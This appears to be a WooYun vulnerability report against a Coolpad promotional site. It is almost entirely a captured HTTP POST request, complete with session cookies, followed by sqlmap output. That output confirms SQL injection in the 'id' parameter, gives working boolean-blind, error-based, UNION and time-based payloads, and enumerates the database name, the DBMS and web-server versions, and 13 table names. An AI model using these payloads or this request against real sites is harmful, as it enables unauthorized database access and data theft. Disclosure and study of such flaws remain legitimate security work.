WooYun.org

POST /interface.php?c=users51&m=clickFiveAddOne HTTP/1.0
Host: 5950.coolpad.cn
Proxy-Connection: keep-alive
Content-Length: 5
Origin: http://5950.coolpad.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
content-type: application/x-www-form-urlencoded
Accept: */*
Referer: http://5950.coolpad.cn/swf2/coolpadindex.swf
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: __utmaxx233=238988767.846963834.1432533975.1432533975.1432533975.1; __utmcxx233=238988767; __utmz=238988767.1432533975.1.1.utmccn=(referral)|utmcsr=mcsdl.yulong.com|utmcct=/index/index.html|utmcmd=referral; __scnt=1; PHPSESSID=2ph1sbc53npacfss50s5ackli4; __utmbxx233=238988767; _jzqa=1.3850769915902337500.1432534282.1432534282.1432534282.1; _jzqc=1; _jzqx=1.1432534282.1432534282.1.jzqsr=5950%2Ecoolpad%2Ecn|jzqct=/swf2/coolpadindex%2Eswf.-; _jzqckmp=1; _jzqb=1.1.10.1432534282.0
id=11
注入参数：
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=11 AND 6429=6429
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=11 AND (SELECT 7365 FROM(SELECT COUNT(*),CONCAT(0x71706b6a71,(SE
LECT (CASE WHEN (7365=7365) THEN 1 ELSE 0 END)),0x716a707a71,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: id=-6987 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT
(0x71706b6a71,0x6871696c4f68754a6644,0x716a707a71),NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=11 AND SLEEP(5)
---
[14:16:38] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.4.15
back-end DBMS: MySQL 5.0
[14:16:38] [INFO] testing if current user is DBA
[14:16:38] [INFO] fetching current user

Database: 5950coolpad
[13 tables]
+----------------------+
| add_click_good_count |
| add_user_count       |
| click_find_king      |
| click_five_add_one   |
| click_good           |
| click_good_one       |
| find_king            |
| five_add_one         |
| five_add_one_code    |
| game                 |
| game_result          |
| login_log            |
| sendinfo_log         |
+----------------------+